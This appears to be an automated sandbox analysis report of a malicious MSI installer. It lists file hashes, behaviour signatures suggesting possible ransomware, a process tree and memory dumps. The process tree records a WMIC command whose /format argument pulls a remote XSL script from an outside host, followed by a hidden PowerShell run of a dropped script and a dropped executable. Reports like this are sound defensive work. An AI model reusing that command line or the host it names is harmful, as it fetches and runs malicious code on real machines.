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Analysis

  • max time kernel
    27s
  • max time network
    33s
  • platform
    windows7_x64
  • resource
    win7-ja-20211208
  • submitted
    19/01/2022, 15:40

General

  • Target

    test/91B5DB3C0CCBD68BD04C24571E27F99D.msi

  • Size

    277KB

  • MD5

    91b5db3c0ccbd68bd04c24571e27f99d

  • SHA1

    b01cb4fe38315d41fcbe9c6278ebe4574496ab0d

  • SHA256

    ec85138598c57c6a6bdb5ed470614f582d3b5a8c6b243eb2f41b9970ea13d130

  • SHA512

    9f0b07f961625fcc06ee64fcfe5e35e0d40db81f75c3cbc584434c1925fac241db69cac3c1a1bf329d965a4df9bdaa53c13bb8ea3206e2c9d4facf7f74ba21b7

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 5 IoCs
  • Enumerates connected drives 3 TTPs 48 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 8 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\test\91B5DB3C0CCBD68BD04C24571E27F99D.msi
    1⤵
    • Enumerates connected drives
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:1768
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Windows directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:672
    • C:\Windows\system32\MsiExec.exe
      C:\Windows\system32\MsiExec.exe -Embedding C15203D9BA38D081398EBB2EB6C75E74
      2⤵
      • Blocklisted process makes network request
      • Suspicious use of WriteProcessMemory
      PID:2020
      • C:\Windows\System32\Wbem\WMIC.exe
        "C:\Windows\System32\Wbem\WMIC.exe" process get executablepath^,status /format:"http://barbosaoextra.com.br/dados/noticia/7/imagem/noar.xsl"
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1908
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\Admin\AppData\Local\Temp\Admin.ps1" -WindowStyle Hidden
          4⤵
          • Drops file in System32 directory
          • Suspicious behavior: EnumeratesProcesses
          PID:1184
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 9624FCDC12F4A022A34346990EE9C2DC
      2⤵
      • Blocklisted process makes network request
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:860
      • C:\Users\Admin\AppData\Local\Temp\lc7CCE.tmp
        "C:\Users\Admin\AppData\Local\Temp\lc7CCE.tmp"
        3⤵
        • Executes dropped EXE
        PID:1932

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/860-60-0x0000000076C81000-0x0000000076C83000-memory.dmp

    Filesize

    8KB

  • memory/1184-65-0x00000000025F4000-0x00000000025F7000-memory.dmp

    Filesize

    12KB

  • memory/1184-72-0x00000000025FB000-0x000000000261A000-memory.dmp

    Filesize

    124KB

  • memory/1184-70-0x000000001B730000-0x000000001BA2F000-memory.dmp

    Filesize

    3.0MB

  • memory/1184-62-0x000007FEF3650000-0x000007FEF41AD000-memory.dmp

    Filesize

    11.4MB

  • memory/1184-64-0x00000000025F2000-0x00000000025F4000-memory.dmp

    Filesize

    8KB

  • memory/1184-63-0x00000000025F0000-0x00000000025F2000-memory.dmp

    Filesize

    8KB

  • memory/1768-55-0x000007FEFC411000-0x000007FEFC413000-memory.dmp

    Filesize

    8KB

  • memory/2020-58-0x0000000000510000-0x0000000000520000-memory.dmp

    Filesize

    64KB